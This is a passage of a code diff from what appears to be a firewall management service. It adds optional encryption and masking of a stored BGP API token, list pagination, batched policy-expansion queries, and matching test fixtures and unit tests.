publicBaseUrl: 'https://fw.example.com',
|
||||||
enrollSeed: 'test-seed',
|
enrollSeed: 'test-seed',
|
||||||
|
corsOrigins: [],
|
||||||
|
authAuditIngestSecret: null,
|
||||||
|
secretKey: null,
|
||||||
|
statsRetentionDays: 30,
|
||||||
}
|
}
|
||||||
|
|
||||||
async function enrollApprovedLinux(
|
async function enrollApprovedLinux(
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import {
|
|||||||
} from '@evofw/shared'
|
} from '@evofw/shared'
|
||||||
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
|
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
|
||||||
import { uniqCidrs } from '../uniq.js'
|
import { uniqCidrs } from '../uniq.js'
|
||||||
|
import { maskListConfig } from '../secret-cipher.js'
|
||||||
|
|
||||||
export function getListConfig(list: {
|
export function getListConfig(list: {
|
||||||
configJson: string
|
configJson: string
|
||||||
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
|
|||||||
id: l.id,
|
id: l.id,
|
||||||
name: l.name,
|
name: l.name,
|
||||||
type: l.type,
|
type: l.type,
|
||||||
config_json: l.configJson,
|
config_json: maskListConfig(l.configJson),
|
||||||
content_hash: l.contentHash,
|
content_hash: l.contentHash,
|
||||||
refreshed_at: l.refreshedAt,
|
refreshed_at: l.refreshedAt,
|
||||||
last_error: l.lastError,
|
last_error: l.lastError,
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import {
|
|||||||
rebuildManualListEntries,
|
rebuildManualListEntries,
|
||||||
} from './entries.js'
|
} from './entries.js'
|
||||||
import { uniqCidrs } from '../uniq.js'
|
import { uniqCidrs } from '../uniq.js'
|
||||||
|
import { decryptSecret } from '../secret-cipher.js'
|
||||||
|
|
||||||
function hashCidrs(cidrs: string[]): string {
|
function hashCidrs(cidrs: string[]): string {
|
||||||
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
|
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
|
||||||
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
|
|||||||
repos.replaceIpListEntries(db, listId, cidrs)
|
repos.replaceIpListEntries(db, listId, cidrs)
|
||||||
} else if (list.type === 'evobgp_community') {
|
} else if (list.type === 'evobgp_community') {
|
||||||
const apiUrl =
|
const apiUrl =
|
||||||
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url')
|
String(config.api_url ?? '') ||
|
||||||
|
repos.getSetting(db, 'evobgp_api_url') ||
|
||||||
|
''
|
||||||
const token =
|
const token =
|
||||||
String(config.api_token ?? '') ||
|
decryptSecret(String(config.api_token ?? '') || null) ??
|
||||||
repos.getSetting(db, 'evobgp_api_token')
|
decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
|
||||||
const communityId = String(config.community_id ?? '')
|
const communityId = String(config.community_id ?? '')
|
||||||
if (!apiUrl || !token || !communityId) {
|
if (!apiUrl || !token || !communityId) {
|
||||||
throw new Error('evobgp_api_url, token and community_id required')
|
throw new Error('evobgp_api_url, token and community_id required')
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
/**
|
||||||
|
* Backwards-compatible list pagination: without limit/offset the response is
|
||||||
|
* the full list (total === items.length); with them, a page plus the total.
|
||||||
|
*/
|
||||||
|
export function applyPagination<T>(
|
||||||
|
items: T[],
|
||||||
|
query: { limit?: string; offset?: string },
|
||||||
|
): { items: T[]; total: number } {
|
||||||
|
const total = items.length
|
||||||
|
const limitRaw = query.limit !== undefined ? Number(query.limit) : NaN
|
||||||
|
const offsetRaw = query.offset !== undefined ? Number(query.offset) : NaN
|
||||||
|
if (!Number.isFinite(limitRaw) && !Number.isFinite(offsetRaw)) {
|
||||||
|
return { items, total }
|
||||||
|
}
|
||||||
|
const limit = Number.isFinite(limitRaw)
|
||||||
|
? Math.max(1, Math.min(1000, Math.floor(limitRaw)))
|
||||||
|
: items.length
|
||||||
|
const offset = Number.isFinite(offsetRaw)
|
||||||
|
? Math.max(0, Math.floor(offsetRaw))
|
||||||
|
: 0
|
||||||
|
return { items: items.slice(offset, offset + limit), total }
|
||||||
|
}
|
||||||
@@ -54,13 +54,41 @@ export type EvaluatedPolicy = {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function expandList(db: Db, listId: string | null | undefined): string[] {
|
/**
|
||||||
if (!listId) return []
|
* Prefetched expansion data: one batched query per kind instead of a query
|
||||||
return repos.listIpListEntries(db, listId).map((e) => e.cidr)
|
* per rule (this code runs on every agent policy poll, ~60s per agent).
|
||||||
|
*/
|
||||||
|
type ExpansionContext = {
|
||||||
|
entriesByList: Map<string, string[]>
|
||||||
|
resolvedByRule: Map<string, string[]>
|
||||||
|
listNames: Map<string, string>
|
||||||
|
}
|
||||||
|
|
||||||
|
function buildExpansionContext(
|
||||||
|
db: Db,
|
||||||
|
rules: { id: string; listId: string | null; hostname: string | null }[],
|
||||||
|
portRuleRows: { listId: string | null }[],
|
||||||
|
): ExpansionContext {
|
||||||
|
const listIds = [
|
||||||
|
...new Set(
|
||||||
|
[
|
||||||
|
...rules.map((r) => r.listId?.trim() || ''),
|
||||||
|
...portRuleRows.map((r) => r.listId?.trim() || ''),
|
||||||
|
].filter(Boolean),
|
||||||
|
),
|
||||||
|
]
|
||||||
|
const hostnameRuleIds = [
|
||||||
|
...new Set(rules.filter((r) => r.hostname?.trim()).map((r) => r.id)),
|
||||||
|
]
|
||||||
|
return {
|
||||||
|
entriesByList: repos.mapIpListEntriesByListIds(db, listIds),
|
||||||
|
resolvedByRule: repos.mapResolvedCidrsByRuleIds(db, hostnameRuleIds),
|
||||||
|
listNames: repos.mapIpListNames(db, listIds),
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function expandRule(
|
function expandRule(
|
||||||
db: Db,
|
ctx: ExpansionContext,
|
||||||
rule: {
|
rule: {
|
||||||
cidr: string | null
|
cidr: string | null
|
||||||
listId: string | null
|
listId: string | null
|
||||||
@@ -70,9 +98,10 @@ function expandRule(
|
|||||||
): string[] {
|
): string[] {
|
||||||
if (rule.cidr?.trim()) return [rule.cidr.trim()]
|
if (rule.cidr?.trim()) return [rule.cidr.trim()]
|
||||||
if (rule.hostname?.trim()) {
|
if (rule.hostname?.trim()) {
|
||||||
return repos.listResolvedForRule(db, rule.id).map((r) => r.cidr)
|
return ctx.resolvedByRule.get(rule.id) ?? []
|
||||||
}
|
}
|
||||||
return expandList(db, rule.listId)
|
const listId = rule.listId?.trim() || ''
|
||||||
|
return listId ? (ctx.entriesByList.get(listId) ?? []) : []
|
||||||
}
|
}
|
||||||
|
|
||||||
function resolveDefaultAction(agentDefaultAction: string | null | undefined): DefaultAction {
|
function resolveDefaultAction(agentDefaultAction: string | null | undefined): DefaultAction {
|
||||||
@@ -83,7 +112,7 @@ function resolveDefaultAction(agentDefaultAction: string | null | undefined): De
|
|||||||
}
|
}
|
||||||
|
|
||||||
function sourceMeta(
|
function sourceMeta(
|
||||||
db: Db,
|
ctx: ExpansionContext,
|
||||||
rule: {
|
rule: {
|
||||||
cidr: string | null
|
cidr: string | null
|
||||||
listId: string | null
|
listId: string | null
|
||||||
@@ -97,12 +126,12 @@ function sourceMeta(
|
|||||||
return { kind: 'hostname', label: rule.hostname.trim() }
|
return { kind: 'hostname', label: rule.hostname.trim() }
|
||||||
}
|
}
|
||||||
const listId = rule.listId?.trim() || ''
|
const listId = rule.listId?.trim() || ''
|
||||||
const name = listId ? repos.getIpList(db, listId)?.name : null
|
const name = listId ? ctx.listNames.get(listId) : null
|
||||||
return { kind: 'list', label: name || listId || 'list' }
|
return { kind: 'list', label: name || listId || 'list' }
|
||||||
}
|
}
|
||||||
|
|
||||||
function expandPortSrcCidrs(
|
function expandPortSrcCidrs(
|
||||||
db: Db,
|
ctx: ExpansionContext,
|
||||||
row: {
|
row: {
|
||||||
srcKind: string
|
srcKind: string
|
||||||
srcCidr: string | null
|
srcCidr: string | null
|
||||||
@@ -114,18 +143,22 @@ function expandPortSrcCidrs(
|
|||||||
return [row.srcCidr.trim()]
|
return [row.srcCidr.trim()]
|
||||||
}
|
}
|
||||||
if (row.srcKind === 'list') {
|
if (row.srcKind === 'list') {
|
||||||
const cidrs = expandList(db, row.listId)
|
const cidrs = row.listId
|
||||||
|
? (ctx.entriesByList.get(row.listId.trim()) ?? [])
|
||||||
|
: []
|
||||||
return cidrs.length ? uniqCidrs(cidrs) : []
|
return cidrs.length ? uniqCidrs(cidrs) : []
|
||||||
}
|
}
|
||||||
return []
|
return []
|
||||||
}
|
}
|
||||||
|
|
||||||
function expandPortRules(db: Db, agentId: string): EvaluatedPortRule[] {
|
function expandPortRules(
|
||||||
const rows = repos.listEnabledAgentPortRules(db, agentId)
|
ctx: ExpansionContext,
|
||||||
|
rows: ReturnType<typeof repos.listEnabledAgentPortRules>,
|
||||||
|
): EvaluatedPortRule[] {
|
||||||
const out: EvaluatedPortRule[] = []
|
const out: EvaluatedPortRule[] = []
|
||||||
for (const row of rows) {
|
for (const row of rows) {
|
||||||
const action = row.action === 'close' ? 'close' : 'open'
|
const action = row.action === 'close' ? 'close' : 'open'
|
||||||
const srcCidrs = expandPortSrcCidrs(db, row)
|
const srcCidrs = expandPortSrcCidrs(ctx, row)
|
||||||
if (!srcCidrs.length) continue
|
if (!srcCidrs.length) continue
|
||||||
const portStart = Math.max(1, Math.min(65535, row.portStart))
|
const portStart = Math.max(1, Math.min(65535, row.portStart))
|
||||||
const portEnd = Math.max(portStart, Math.min(65535, row.portEnd))
|
const portEnd = Math.max(portStart, Math.min(65535, row.portEnd))
|
||||||
@@ -161,6 +194,8 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
|||||||
.filter((s) => s.enabled === 1)
|
.filter((s) => s.enabled === 1)
|
||||||
const ordered = repos.listPolicyRulesForAgent(db, agentId)
|
const ordered = repos.listPolicyRulesForAgent(db, agentId)
|
||||||
const overrides = repos.listOverrides(db, agentId)
|
const overrides = repos.listOverrides(db, agentId)
|
||||||
|
const portRuleRows = repos.listEnabledAgentPortRules(db, agentId)
|
||||||
|
const ctx = buildExpansionContext(db, ordered, portRuleRows)
|
||||||
|
|
||||||
const deny: string[] = []
|
const deny: string[] = []
|
||||||
const allow: string[] = []
|
const allow: string[] = []
|
||||||
@@ -169,7 +204,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
|||||||
let rulesAllow = 0
|
let rulesAllow = 0
|
||||||
|
|
||||||
for (const rule of ordered) {
|
for (const rule of ordered) {
|
||||||
const cidrs = expandRule(db, rule)
|
const cidrs = expandRule(ctx, rule)
|
||||||
const action = rule.action === 'deny' ? 'deny' : 'allow'
|
const action = rule.action === 'deny' ? 'deny' : 'allow'
|
||||||
if (action === 'deny') {
|
if (action === 'deny') {
|
||||||
deny.push(...cidrs)
|
deny.push(...cidrs)
|
||||||
@@ -178,7 +213,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
|||||||
allow.push(...cidrs)
|
allow.push(...cidrs)
|
||||||
rulesAllow += 1
|
rulesAllow += 1
|
||||||
}
|
}
|
||||||
const src = sourceMeta(db, rule)
|
const src = sourceMeta(ctx, rule)
|
||||||
const setName =
|
const setName =
|
||||||
assignedSets.find((s) => s.setId === rule.setId)?.name ?? null
|
assignedSets.find((s) => s.setId === rule.setId)?.name ?? null
|
||||||
chain.push({
|
chain.push({
|
||||||
@@ -214,7 +249,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
|||||||
const conflictsDropped = allowRaw.length - allowCidrs.length
|
const conflictsDropped = allowRaw.length - allowCidrs.length
|
||||||
const defaultAction = resolveDefaultAction(agent.defaultAction)
|
const defaultAction = resolveDefaultAction(agent.defaultAction)
|
||||||
const policyMode = legacyModeFromDefaultAction(defaultAction)
|
const policyMode = legacyModeFromDefaultAction(defaultAction)
|
||||||
const portRules = expandPortRules(db, agentId)
|
const portRules = expandPortRules(ctx, portRuleRows)
|
||||||
|
|
||||||
const payload = JSON.stringify({
|
const payload = JSON.stringify({
|
||||||
apply_version: POLICY_APPLY_VERSION,
|
apply_version: POLICY_APPLY_VERSION,
|
||||||
|
|||||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
|||||||
authPortalUrl: 'http://localhost:5175',
|
authPortalUrl: 'http://localhost:5175',
|
||||||
publicBaseUrl: 'https://fw.example.com',
|
publicBaseUrl: 'https://fw.example.com',
|
||||||
enrollSeed: 'test-seed',
|
enrollSeed: 'test-seed',
|
||||||
|
corsOrigins: [],
|
||||||
|
authAuditIngestSecret: null,
|
||||||
|
secretKey: null,
|
||||||
|
statsRetentionDays: 30,
|
||||||
}
|
}
|
||||||
|
|
||||||
async function createAgent(
|
async function createAgent(
|
||||||
|
|||||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
|||||||
authPortalUrl: 'http://localhost:5175',
|
authPortalUrl: 'http://localhost:5175',
|
||||||
publicBaseUrl: 'https://fw.example.com',
|
publicBaseUrl: 'https://fw.example.com',
|
||||||
enrollSeed: 'test-seed',
|
enrollSeed: 'test-seed',
|
||||||
|
corsOrigins: [],
|
||||||
|
authAuditIngestSecret: null,
|
||||||
|
secretKey: null,
|
||||||
|
statsRetentionDays: 30,
|
||||||
}
|
}
|
||||||
|
|
||||||
async function enrollApprovedLinux(
|
async function enrollApprovedLinux(
|
||||||
|
|||||||
@@ -0,0 +1,102 @@
|
|||||||
|
import { describe, it, expect, afterAll } from 'vitest'
|
||||||
|
import { buildApp } from '../app.js'
|
||||||
|
import { repos } from '@evofw/db'
|
||||||
|
import type { AppConfig } from '../config.js'
|
||||||
|
|
||||||
|
const testConfig: AppConfig = {
|
||||||
|
databaseUrl: 'sqlite::memory:',
|
||||||
|
jwtSecret: 'test',
|
||||||
|
jwtTtlHours: 24,
|
||||||
|
serverPort: 8080,
|
||||||
|
staticDir: null,
|
||||||
|
logLevel: 'error',
|
||||||
|
authRequired: false,
|
||||||
|
authIssuer: 'https://auth.test',
|
||||||
|
authPortalUrl: 'http://localhost:5175',
|
||||||
|
publicBaseUrl: 'https://fw.example.com',
|
||||||
|
enrollSeed: 'test-seed',
|
||||||
|
corsOrigins: [],
|
||||||
|
authAuditIngestSecret: null,
|
||||||
|
secretKey: null,
|
||||||
|
statsRetentionDays: 30,
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('stats retention + list pagination', () => {
|
||||||
|
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||||
|
|
||||||
|
afterAll(async () => {
|
||||||
|
const app = await appPromise
|
||||||
|
await app.close()
|
||||||
|
})
|
||||||
|
|
||||||
|
it('deleteStatsSamplesBefore drops only old samples', async () => {
|
||||||
|
const app = await appPromise
|
||||||
|
await app.ready()
|
||||||
|
|
||||||
|
const created = await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/install-links',
|
||||||
|
payload: { name: 'retention-agent', platform: 'linux' },
|
||||||
|
})
|
||||||
|
const agentId = (created.json() as { agent_id: string }).agent_id
|
||||||
|
const iso = (daysAgo: number) =>
|
||||||
|
new Date(Date.now() - daysAgo * 86_400_000).toISOString()
|
||||||
|
for (const daysAgo of [60, 45, 10, 0]) {
|
||||||
|
repos.insertStatsSample(app.db, {
|
||||||
|
id: crypto.randomUUID(),
|
||||||
|
agentId,
|
||||||
|
packetsDropped: daysAgo,
|
||||||
|
packetsAccepted: 0,
|
||||||
|
prefixCount: 0,
|
||||||
|
kernelMethod: null,
|
||||||
|
recordedAt: iso(daysAgo),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
const cutoff = new Date(Date.now() - 30 * 86_400_000).toISOString()
|
||||||
|
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
|
||||||
|
expect(deleted).toBe(2)
|
||||||
|
|
||||||
|
const remaining = repos.listStatsSamples(app.db, agentId, 100)
|
||||||
|
expect(remaining.map((s) => s.packetsDropped).sort()).toEqual([0, 10])
|
||||||
|
})
|
||||||
|
|
||||||
|
it('list endpoints return total and honor limit/offset', async () => {
|
||||||
|
const app = await appPromise
|
||||||
|
await app.ready()
|
||||||
|
|
||||||
|
for (const name of ['page-a', 'page-b', 'page-c']) {
|
||||||
|
await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/install-links',
|
||||||
|
payload: { name, platform: 'linux' },
|
||||||
|
})
|
||||||
|
}
|
||||||
|
await app.inject({
|
||||||
|
method: 'POST',
|
||||||
|
url: '/api/v1/lists',
|
||||||
|
payload: { name: 'page-list', type: 'static' },
|
||||||
|
})
|
||||||
|
|
||||||
|
const all = await app.inject({ method: 'GET', url: '/api/v1/agents' })
|
||||||
|
expect(all.statusCode).toBe(200)
|
||||||
|
const allBody = all.json() as { items: unknown[]; total: number }
|
||||||
|
expect(allBody.items.length).toBe(allBody.total)
|
||||||
|
|
||||||
|
const page = await app.inject({
|
||||||
|
method: 'GET',
|
||||||
|
url: '/api/v1/agents?limit=1&offset=1',
|
||||||
|
})
|
||||||
|
const pageBody = page.json() as { items: unknown[]; total: number }
|
||||||
|
expect(pageBody.items).toHaveLength(1)
|
||||||
|
expect(pageBody.total).toBe(allBody.total)
|
||||||
|
|
||||||
|
const lists = await app.inject({
|
||||||
|
method: 'GET',
|
||||||
|
url: '/api/v1/lists?limit=1',
|
||||||
|
})
|
||||||
|
const listsBody = lists.json() as { items: unknown[]; total: number }
|
||||||
|
expect(listsBody.items).toHaveLength(1)
|
||||||
|
expect(listsBody.total).toBeGreaterThanOrEqual(1)
|
||||||
|
})
|
||||||
|
})
|
||||||
@@ -67,6 +67,21 @@ export function mapPolicySets(
|
|||||||
export function mapPolicyRule(
|
export function mapPolicyRule(
|
||||||
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
|
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
|
||||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||||
|
) {
|
||||||
|
return mapPolicyRuleWithCounts(r, r.hostname ? countResolved(db, [r.id]).get(r.id) ?? 0 : undefined)
|
||||||
|
}
|
||||||
|
|
||||||
|
function countResolved(
|
||||||
|
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||||
|
ruleIds: string[],
|
||||||
|
): Map<string, number> {
|
||||||
|
const cidrs = repos.mapResolvedCidrsByRuleIds(db, ruleIds)
|
||||||
|
return new Map([...cidrs].map(([id, list]) => [id, list.length]))
|
||||||
|
}
|
||||||
|
|
||||||
|
function mapPolicyRuleWithCounts(
|
||||||
|
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
|
||||||
|
resolvedCount: number | undefined,
|
||||||
) {
|
) {
|
||||||
return {
|
return {
|
||||||
id: r.id,
|
id: r.id,
|
||||||
@@ -77,11 +92,23 @@ export function mapPolicyRule(
|
|||||||
list_id: r.listId,
|
list_id: r.listId,
|
||||||
cidr: r.cidr,
|
cidr: r.cidr,
|
||||||
hostname: r.hostname,
|
hostname: r.hostname,
|
||||||
resolved_count: r.hostname
|
resolved_count: resolvedCount,
|
||||||
? repos.listResolvedForRule(db, r.id).length
|
|
||||||
: undefined,
|
|
||||||
comment: r.comment,
|
comment: r.comment,
|
||||||
created_at: r.createdAt,
|
created_at: r.createdAt,
|
||||||
updated_at: r.updatedAt,
|
updated_at: r.updatedAt,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Batched variant for list endpoints: one resolved-counts query for all rules. */
|
||||||
|
export function mapPolicyRules(
|
||||||
|
rules: NonNullable<ReturnType<typeof repos.getPolicyRule>>[],
|
||||||
|
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||||
|
) {
|
||||||
|
const counts = countResolved(
|
||||||
|
db,
|
||||||
|
rules.filter((r) => r.hostname).map((r) => r.id),
|
||||||
|
)
|
||||||
|
return rules.map((r) =>
|
||||||
|
mapPolicyRuleWithCounts(r, r.hostname ? counts.get(r.id) ?? 0 : undefined),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,64 @@
|
|||||||
|
import { describe, it, expect, afterEach } from 'vitest'
|
||||||
|
import {
|
||||||
|
encryptSecret,
|
||||||
|
decryptSecret,
|
||||||
|
isEncryptedSecret,
|
||||||
|
sealListConfig,
|
||||||
|
maskListConfig,
|
||||||
|
} from './secret-cipher.js'
|
||||||
|
|
||||||
|
const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY
|
||||||
|
else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY
|
||||||
|
})
|
||||||
|
|
||||||
|
describe('secret-cipher', () => {
|
||||||
|
it('passes values through when no key is configured', () => {
|
||||||
|
delete process.env.EVOFW_SECRET_KEY
|
||||||
|
expect(encryptSecret('plain')).toBe('plain')
|
||||||
|
expect(decryptSecret('plain')).toBe('plain')
|
||||||
|
expect(isEncryptedSecret('plain')).toBe(false)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => {
|
||||||
|
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||||
|
const enc = encryptSecret('super-secret-token')
|
||||||
|
expect(enc).not.toContain('super-secret-token')
|
||||||
|
expect(enc.startsWith('enc:v1:')).toBe(true)
|
||||||
|
expect(decryptSecret(enc)).toBe('super-secret-token')
|
||||||
|
// already-encrypted values are not double-encrypted
|
||||||
|
expect(encryptSecret(enc)).toBe(enc)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('returns null for encrypted values when the key is missing or wrong', () => {
|
||||||
|
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||||
|
const enc = encryptSecret('super-secret-token')
|
||||||
|
delete process.env.EVOFW_SECRET_KEY
|
||||||
|
expect(decryptSecret(enc)).toBeNull()
|
||||||
|
process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!'
|
||||||
|
expect(decryptSecret(enc)).toBeNull()
|
||||||
|
})
|
||||||
|
|
||||||
|
it('seals and masks list config api_token', () => {
|
||||||
|
process.env.EVOFW_SECRET_KEY = 'k'.repeat(32)
|
||||||
|
const sealed = sealListConfig({
|
||||||
|
api_url: 'https://bgp.example.com',
|
||||||
|
api_token: 'super-secret-token',
|
||||||
|
community_id: 'abc',
|
||||||
|
})
|
||||||
|
expect(sealed).not.toContain('super-secret-token')
|
||||||
|
const parsed = JSON.parse(sealed) as { api_token: string }
|
||||||
|
expect(decryptSecret(parsed.api_token)).toBe('super-secret-token')
|
||||||
|
|
||||||
|
const masked = maskListConfig(sealed)
|
||||||
|
expect(masked).toContain('********')
|
||||||
|
expect(masked).not.toContain('enc:v1:')
|
||||||
|
|
||||||
|
// configs without tokens pass through untouched
|
||||||
|
expect(maskListConfig('{"api_url":"https://x"}')).toBe(
|
||||||
|
'{"api_url":"https://x"}',
|
||||||
|
)
|
||||||
|
})
|
||||||
|
})
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
import {
|
||||||
|
createCipheriv,
|
||||||
|
createDecipheriv,
|
||||||
|
randomBytes,
|
||||||
|
scryptSync,
|
||||||
|
} from 'node:crypto'
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Optional at-rest encryption for secrets stored in the DB (EvoBGP API
|
||||||
|
* token). Active only when EVOFW_SECRET_KEY is set; without it values are
|
||||||
|
* stored as before (plaintext) so existing deployments keep working.
|
||||||
|
*
|
||||||
|
* Format: enc:v1:<saltB64>:<ivB64>:<tagB64>:<dataB64>, AES-256-GCM with a
|
||||||
|
* scrypt-derived per-value key.
|
||||||
|
*/
|
||||||
|
|
||||||
|
const PREFIX = 'enc:v1:'
|
||||||
|
|
||||||
|
function deriveKey(secret: string, salt: Buffer): Buffer {
|
||||||
|
return scryptSync(secret, salt, 32)
|
||||||
|
}
|
||||||
|
|
||||||
|
export function isEncryptedSecret(value: string): boolean {
|
||||||
|
return value.startsWith(PREFIX)
|
||||||
|
}
|
||||||
|
|
||||||
|
export function encryptSecret(value: string): string {
|
||||||
|
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||||
|
if (!secret || !value || isEncryptedSecret(value)) return value
|
||||||
|
const salt = randomBytes(16)
|
||||||
|
const iv = randomBytes(12)
|
||||||
|
const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||||
|
const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()])
|
||||||
|
const tag = cipher.getAuthTag()
|
||||||
|
const payload = [salt, iv, tag, data]
|
||||||
|
.map((b) => b.toString('base64'))
|
||||||
|
.join(':')
|
||||||
|
return `${PREFIX}${payload}`
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Decrypt an encrypted secret; returns plaintext secrets untouched. Returns
|
||||||
|
* null for encrypted values that cannot be decrypted (key missing/rotated)
|
||||||
|
* so callers can treat the secret as unset instead of sending garbage.
|
||||||
|
*/
|
||||||
|
export function decryptSecret(value: string | null | undefined): string | null {
|
||||||
|
if (!value) return null
|
||||||
|
if (!isEncryptedSecret(value)) return value
|
||||||
|
const secret = process.env.EVOFW_SECRET_KEY?.trim()
|
||||||
|
if (!secret) return null
|
||||||
|
const parts = value.split(':')
|
||||||
|
if (parts.length !== 6) return null
|
||||||
|
try {
|
||||||
|
const salt = Buffer.from(parts[2]!, 'base64')
|
||||||
|
const iv = Buffer.from(parts[3]!, 'base64')
|
||||||
|
const tag = Buffer.from(parts[4]!, 'base64')
|
||||||
|
const data = Buffer.from(parts[5]!, 'base64')
|
||||||
|
const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv)
|
||||||
|
decipher.setAuthTag(tag)
|
||||||
|
return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8')
|
||||||
|
} catch {
|
||||||
|
return null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Encrypt secrets inside a list config before persisting it. */
|
||||||
|
export function sealListConfig(config: Record<string, unknown>): string {
|
||||||
|
if (typeof config.api_token === 'string' && config.api_token) {
|
||||||
|
config = { ...config, api_token: encryptSecret(config.api_token) }
|
||||||
|
}
|
||||||
|
return JSON.stringify(config)
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Mask secrets inside a list config before returning it to clients. */
|
||||||
|
export function maskListConfig(configJson: string): string {
|
||||||
|
if (!configJson.includes('api_token')) return configJson
|
||||||
|
try {
|
||||||
|
const config = JSON.parse(configJson) as Record<string, unknown>
|
||||||
|
if (typeof config.api_token === 'string' && config.api_token) {
|
||||||
|
config.api_token = '********'
|
||||||
|
}
|
||||||
|
return JSON.stringify(config)
|
||||||
|
} catch {
|
||||||
|
return configJson
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -15,6 +15,10 @@ const testConfig: AppConfig = {
|
|||||||
authPortalUrl: 'http://localhost:5175',
|
authPortalUrl: 'http://localhost:5175',
|
||||||
publicBaseUrl: 'https://fw.example.com',
|
publicBaseUrl: 'https://fw.example.com',
|
||||||
enrollSeed: 'test-seed',
|
enrollSeed: 'test-seed',
|
||||||
|
corsOrigins: [],
|
||||||
|
authAuditIngestSecret: null,
|
||||||
|
secretKey: null,
|
||||||
|
statsRetentionDays: 30,
|
||||||
}
|
}
|
||||||
|
|
||||||
describe('settings + bumpAgentsForList', () => {
|
describe('settings + bumpAgentsForList', () => {
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
"dev": "vite",
|
"dev": "vite",
|
||||||
"build": "vite build",
|
"build": "vite build",
|
||||||
"typecheck": "tsc --noEmit",
|
"typecheck": "tsc --noEmit",
|
||||||
|
"test": "vitest run",
|
||||||
"preview": "vite preview"
|
"preview": "vite preview"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
@@ -25,6 +26,8 @@
|
|||||||
"@tanstack/react-virtual": "^3.14.7",
|
"@tanstack/react-virtual": "^3.14.7",
|
||||||
"@tanstack/router-plugin": "^1.120.0",
|
"@tanstack/router-plugin": "^1.120.0",
|
||||||
"class-variance-authority": "^0.7.1",
|
"class-variance-authority": "^0.7.1",
|
||||||
|
"cmdk": "^1.1.1",
|
||||||
|
"cn": "^0.4.0",
|
||||||
"date-fns": "^4.4.0",
|
"date-fns": "^4.4.0",
|
||||||
"lucide-react": "^0.468.0",
|
"lucide-react": "^0.468.0",
|
||||||
"next-themes": "^0.4.6",
|
"next-themes": "^0.4.6",
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
|||||||
import { EmptyState } from '@/components/empty-state'
|
import { EmptyState } from '@/components/empty-state'
|
||||||
import { agentBlockedIpsQueryOptions } from '@/queries'
|
import { agentBlockedIpsQueryOptions } from '@/queries'
|
||||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||||
|
import { formatNumber, formatStampDateTime } from '@/lib/format'
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Per-IP blocked stats — Linux nft/ipset counters or MikroTik EVOFW_HITS.
|
* Per-IP blocked stats — Linux nft/ipset counters or MikroTik EVOFW_HITS.
|
||||||
@@ -45,21 +46,6 @@ type AgentBlockedIpsProps = {
|
|||||||
platform: string
|
platform: string
|
||||||
}
|
}
|
||||||
|
|
||||||
const packetFmt = new Intl.NumberFormat('ru-RU')
|
|
||||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
|
||||||
